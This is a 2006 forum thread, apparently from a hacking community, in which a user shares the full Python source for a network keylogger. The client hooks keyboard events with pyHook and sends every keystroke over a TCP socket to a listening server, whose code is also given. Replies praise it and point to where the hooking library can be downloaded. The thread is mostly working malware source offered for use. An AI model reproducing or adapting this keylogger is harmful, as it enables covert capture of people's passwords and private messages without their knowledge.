Page 1 of 1

Python NK

Posted: 14 Feb 2006, 12:39
by maboroshi
Hi all just wanted to share some code its not much but its a work in progress --- its a Python Network Keylogger

what it does is if the client types in a keystroke it will send the keystrokes to the server

here is the client

Code: Select all

# Written By Maboroshi
import socket
import pythoncom, pyHook
import sys
host = "localhost"
port = 9000

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    sock.connect((host, port))
except:
    print "failed connecting"
    sys.exit()
def OnKeyBoardEvent(event):
    output1 = event.Key
    sock.send(output1)
    return True


hm = pyHook.HookManager()

hm.KeyDown = OnKeyBoardEvent

hm.HookKeyboard()

pythoncom.PumpMessages()

and here is the server

Code: Select all

#Written By Maboroshi
import socket 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

port = 9000

sock.bind(("", port))

sock.listen(5)

try:
    while 1:
        newSocket, address = sock.accept()
        while 1:
            
            data = newSocket.recv(2048)
            print data + " ",

finally:
    sock.close()

requires pyWin32 pyhook 1.4 and python 2.4

Posted: 14 Feb 2006, 13:49
by bad_brain
Dr. Mab is building another lifeform in his secret laboratory... :lol:
awesome man... :D

Posted: 14 Feb 2006, 15:49
by xtheblack9x
thanks man im kinda in the process of learning python so kinda neat to see something like this and how it works :) good job

Cheers Man

Posted: 14 Feb 2006, 19:12
by maboroshi
Cheers brother

Maboroshi

Re: Python NK

Posted: 14 Feb 2006, 20:53
by xtheblack9x
Maboroshi wrote:requires pyWin32 pyhook 1.4 and python 2.4
i havn't tried the code yet but what is pyhook 1.4? im asuming it adds more functions to python. where can i download pyhook?

PyHOOK

Posted: 14 Feb 2006, 21:20
by maboroshi
PyHook is the modules for taking in keyboard and mouse input you can download it here
http://sourceforge.net/project/showfile ... p_id=65529

and here is a tutorial of it

http://www.cs.unc.edu/~parente/tech/tr08.shtml

Re: PyHOOK

Posted: 15 Feb 2006, 02:50
by xtheblack9x
Maboroshi wrote:PyHook is the modules for taking in keyboard and mouse input you can download it here
http://sourceforge.net/project/showfile ... p_id=65529

and here is a tutorial of it

http://www.cs.unc.edu/~parente/tech/tr08.shtml
thanks :)